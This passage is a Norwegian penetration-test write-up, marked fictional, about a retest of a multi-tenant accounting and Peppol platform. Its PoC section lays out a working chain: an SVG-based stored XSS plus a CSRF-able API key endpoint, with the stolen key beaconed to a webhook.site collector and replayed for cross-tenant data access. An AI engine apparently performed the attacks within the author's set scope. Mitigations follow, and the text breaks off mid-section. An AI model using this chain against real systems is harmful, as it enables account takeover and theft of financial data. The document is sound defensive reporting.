eksponerte passord. Deretter Symfony-oppgradering og
SendGrid-token-rotasjon. Jeg ville lagt en automatisert test som krever at
en uautentisert requester mot `/resources/{uuid}` i en annen tenant
returnerer `404` — ikke `200` med passord. Det er testen som ville fanget
dette før det nådde produksjon, og det er testen som holder det fikset.
---
# Kjernen holdt, eiendommen ikke
URL: https://erik.no/blogg/2026-07-24-kjernen-holdt-eiendommen-ikke
Publisert: 2026-07-24
Tags: pentest, cross-tenant, xss, csrf, peppol, security
**FIKTIVT:** Alle firmanavn, personnavn, domener og e‑postadresser i dette
innlegget er oppdiktet. Eventuell likhet med ekte virksomheter eller personer
er tilfeldig. Detaljer fra reelle oppdrag er sanert.
Tre uker etter at jeg leverte den første rapporten til Kvittring AS (`kvittringas.no`), satt IT-sjefen Jonas Bakke (`jonas.bakke@kvittringas.no`) med et spørsmål jeg ikke kunne svare ordentlig på fra runde én: *hva med alt det andre?* Første gang testet jeg API-et på `app.kvittringas.no` og konkluderte med at isolasjonen holdt — [det skrev jeg om her](/blogg/2026-07-07-isolasjon-holdt-autorisasjon-sprakk). Kjernen var solid. Denne retesten gikk utover kjernen og ut over hele eiendommen: web-appen, Peppol-infrastrukturen, fem e-postmottak, markedsdomenet. Kjernen holdt fortsatt. Eiendommen rundt den gjorde det ikke.
Resultatet ble én Kritisk og tretten Høye. Den kritiske er en fungerende kontroll på tvers av tenanter — en lagret XSS i et opplastet SVG, servert inline fra app-origen uten CSP, kjedet med en CSRF-bar utstedelse av API-nøkkel. En bruker i én tenant kan stjele en persistent API-nøkkel som tilhører en bruker i en annen tenant, med ett klikk. For en regnskapsplattform der regnskapsførere sitter med tilgang til mange klienttenanter, er det en enkelt-klikks-sti gjennom hele kundebasen.
## Kontekst: hvorfor en retest, og hvorfor bredere
Første oppdrag var begrenset til REST-API-et. Konklusjonen da: tenant-isolasjon i `/api/*` holdt på alle stier jeg testet; det som sprakk, var API-nøkkel-scope-håndhevelse (Høy), uautentisert e-postmottak (Medium) og org.nr-enumerasjon (Medium). Det var en ærlig rapport — kjernen var godt bygget.
Retesten hadde et bredere scope: *alt klienten eier*, inkludert `app.kvittringas.no` (multi-tenant regnskap/Peppol SaaS, 198 stier / 283 operasjoner), Peppol-infrastrukturen `smp.kvittringas.no` + `as4.kvittringas.no` med sine `-test`-tvillinger, fem uautentiserte e-postmottak (`ea`, `receipt`, `manual`, `expense`, `income`.`kvittringas.no`), og markedsdomenet `kvittringas.dk`. Klienten ga meg lov til å self-provisionere kontoer og throwaway-tenanter for trygg testing.
Jeg jobber slikt med AI i loopen: en autonom, operatør-styrt motor gjør recon, kartlegger endepunkter, kjører skript og prøver angrepsvektorer. Jeg styrer scope, leser resultater, bryter inn der det trengs, og gjør de bitene som krever menneskelig dømmekraft — etikk, prioritering, den endelige vurderingen. Det betyr at jeg får plausible funn fort, og plausible feil like fort. Verdien ligger i verifiseringen som skiller de to. Denne rapporten dekker alt som ble bekreftet og dobbeltverifisert frem til runde 81, da testingen ble satt på pause på grunn av budsjettet.
## Det som holdt — før det som ikke holdt
Før det dårlige: kjernen er fortsatt sterk. Jeg vil ikke male et bilde av et system i fritt fall, for det er ikke det dette er.
- **`/api/*` tenant-isolasjon** holdt på *alle* stier jeg testet, unntatt to `/api/leads/person-*`-endepunkter. Forged `X-Tenant-Id` for en tenant man ikke er medlem av → `401`. Cross-tenant objektlesing → `404`/tom.
- **JWT/session-forging** ble grundig slått ned: ES256, `kid`-pinned, `alg:none` (fire kodinger), HS256 med ni svake secrets, `jwk`/`jku`/`x5u`/`kid`-traversal, ES256→HS256-forvirring — alle avvist.
- **SQL-injeksjon** ble ikke funnet (Spring typed binding, rene 400 type-conversion-feil).
- **Spring Actuator** herdet på prod og test — `/actuator/health` offentlig-mini, resten gjetet (`302`/`403`). Ingen heap-dump.
- **XXE** via dokument/PDF-pipelinen ikke utnyttbar; AS4- og mottaksparsere nekter `DOCTYPE`.
- **Ingen server-fotfeste** (RCE/shell), ingen database-tilgang, ingen origin-IP-lekkasje. Appen sender mail via Gmail-API, så mail-headere lekker ikke origin. Originen sitter bak en godt konfigurert Cloudflare.
Det er viktig: eksponeringen her er i **autorisasjons-/forretningslogikk-/uautentisert-mottak-laget**, ikke i minnesikkerhet eller infrastruktur. Det endrer hva fiksene ser ut.
## F-01 — Kritisk: kontroll på tvers av tenanter via SVG-XSS + CSRF-bar API-nøkkel
Dette er funnet som eskalerte retesten fra "flere høye" til "kritisk". Det er en kjede av tre separate svakheter som hver for seg er Høye, men som satt sammen blir utholden kontroll på tvers av tenanter.
Kjeden: (1) opplastet SVG serveres inline, same-origin, som `image/svg+xml`, uten CSP — lagret XSS; (2) htmx-mutasjonsruter autoriserer kun med den SameSite-løse `token`-cookien — ingen CSRF-token, ingen Origin-sjekk; (3) `/dev/token/create` utsteder en persistent tenant-API-nøkkel og renderer den inn i en full HTML-respons som et same-origin-skript kan lese. Når et offer (i en hvilken som helst tenant) åpner én lenke på den ekte `app.kvittringas.no`-origen, kjører angriperens skript i origenen, rider offerets sesjon for å utstede en API-nøkkel i offerets tenant, leser nøkkelen ut av responsen, og beacon-er den ut. Fordi en API-nøkkel ikke er en sesjon, overlever tilgangen offerets utlogging og passordtilbakestilling.
### PoC / Reproduksjon
**Forutsetninger:** to self-provisionerte test-tenanter — angriper (tenant 2704, sub 2588) og offer (tenant 2702, sub 2586), begge throwaway-kontoer på engangs-adresser. Offeret har en gyldig httpOnly `token`-sesjon i en ekte Chrome-kontekst. En OOB-collector (`webhook.site/11111111-1111-4111-8111-111111111111`) er selv-testet live før bruk. Alt kjøres mot engine-eide canary-tenanter — ingen ekte kundetenant berøres.
1. **Opplasting (angriper, tenant 2704).** En agent genererte payload-SVG-en. Lærdom fra en tidligere runde: skriptet må være CDATA-innpakket, ellers knekker en bart `&` XML-parsen. Jeg satte scope og lot agenten kjøre opplastingen:
```http
POST /api/attachments HTTP/1.1
Host: app.kvittringas.no
Cookie: token=
Content-Type: multipart/form-data; boundary=----boundary
------boundary
Content-Disposition: form-data; name="file"; filename="invoice-scan.svg"
Content-Type: image/svg+xml
------boundary--
```
```http
HTTP/1.1 201 Created
Content-Type: application/json
{"id":18406,"filename":"invoice-scan.svg","contentType":"image/svg+xml"}
```
2. **Levering (same-origin, ingen CSP, uautentisert via delt cache).** Agenten hentet URL-en — først med angriperens cookie, så med ingen cookie i det hele tatt:
```http
GET /attachments/18406/view/invoice-scan.svg HTTP/1.1
Host: app.kvittringas.no
```
```http
HTTP/1.1 200 OK
Content-Type: image/svg+xml
Content-Disposition: inline
Cache-Control: public, max-age=31536000, immutable
CF-Cache-Status: HIT
Content-Security-Policy: (ingen)
```
Begge forespørslene — med cookie og uten — returnerte byte-identisk kropp (samme sha1). Skriptet er hostet på den ekte `app.kvittringas.no`-origen og nårbart for hvem som helst med URL-en. `Cache-Control: public, immutable` (se F-13 under) er grunnen til at den uautentiserte hentingen går gjennom — Cloudflare leverer fra delt edge-cache.
3. **Kjøring som offer.** Jeg kjørte offerets nettleser manuelt med Playwright-drevet Chrome, med offerets ekte `token`-cookie injisert i konteksten, mot angriperens lenke. Nettleseren rapporterte `STATUS: 200`, `CT: image/svg+xml`, `CSP: (none)`. Skriptet kjørte i `https://app.kvittringas.no`-origen. `document.cookie.length == 0` — cookien er HttpOnly, så *cookistyveri er ikke vektoren; sesjonsriding er*. Same-origin `fetch("/dev/token/create", {credentials:"include"})` returnerte `200`; responsen inneholdt `` og `Fjellheim Mh As | Tenant API Key | Kvittring`. Et same-origin-skript kan lese det — en blind CSRF-form kunne ikke.
4. **Eksfiltrasjon.** Collector mottok rå nøkkel i to uavhengige pass — pass 1 med `fetch()`, pass 2 med `new Image().src=…` (ingen CORS-restriksjon, den virkelige kanalen).
5. **Replay = overtakelse.** Fra en ren klient, ingen cookie, med den stjalne nøkkelen:
```http
GET /api/me HTTP/1.1
Host: app.kvittringas.no
Authorization: Bearer u6jIcLVG…yM5CioU
```
```http
HTTP/1.1 200 OK
Content-Type: application/json
{"email":"@","name":"Regnskap Test"}
```
Angriperen er nå autentisert som offeret, fra en ren klient, uten sesjonscookie. Med samme nøkkel mot `X-Tenant-Id: 2702`: `/api/invoices` → 5 poster, `/api/customers` → 2 poster, `/api/company-banks` → 1 post (bank id 1393, konto `NO98****11`). Konfidensiell finansiell- og bankmasterdata fra en annen tenant, lest av angriperen.
6. **Negativ kontroll.** Samme URL, cache allerede varm, men nettleser *uten* offerets cookie: mint-ruten returnerte `302` (login), og payload beacon-er `NOKEY~Login | Kvittring`. Minten lykkes kun mens offerets egen sesjon rider den. Rent differensial — det er sesjonsriding, ikke noe annet.
Kjeden ble reprodusert i to uavhengige fulle pass (fresh opplastinger, fresh nettleserkontekster, ulike attachment-ID-er 18406 og 18407) og med to distinkte metoder (Playwright+`curl`, og `Image()`-beacon + Python `urllib`-replay mot en annen dataklasse). Funn: .
**Hvorfor dette er distinkt fra foreldrene.** XSS-funnet alene beviste skriptkjøring i origenen, men stjal ingen credential og nådde ingen annen tenant. CSRF-funnet alene beviste blinde skriv — en cross-site form kan ikke *lese* responsen, så den kunne aldri hente den utstedte nøkkelen. XSS-en gir den same-origin-lesen som gjør CSRF til credential-tyveri. Og fordi en API-nøkkel er persistent, er dette kontrollovertakelse, ikke et forbigående skript.
### Mitigering
Røttene er tre, og det er nummer én som dreper kjeden:
1. **Aldri servér brukeropplastet innhold inline fra app-origen.** Flytt `/attachments/{id}/view/*` til en cookie-løs sandboks-origen (`usercontent.kvittringas.no`), eller tving `Content-Disposition: attachment` + `Content-Security-Policy: default-src 'none'; sandbox` + `X-Content-Type-Options: nosniff`. Saner/transkode SVG (strip `
```
Nonces uten en policy som krever dem er dekorasjon. Enhver injisert `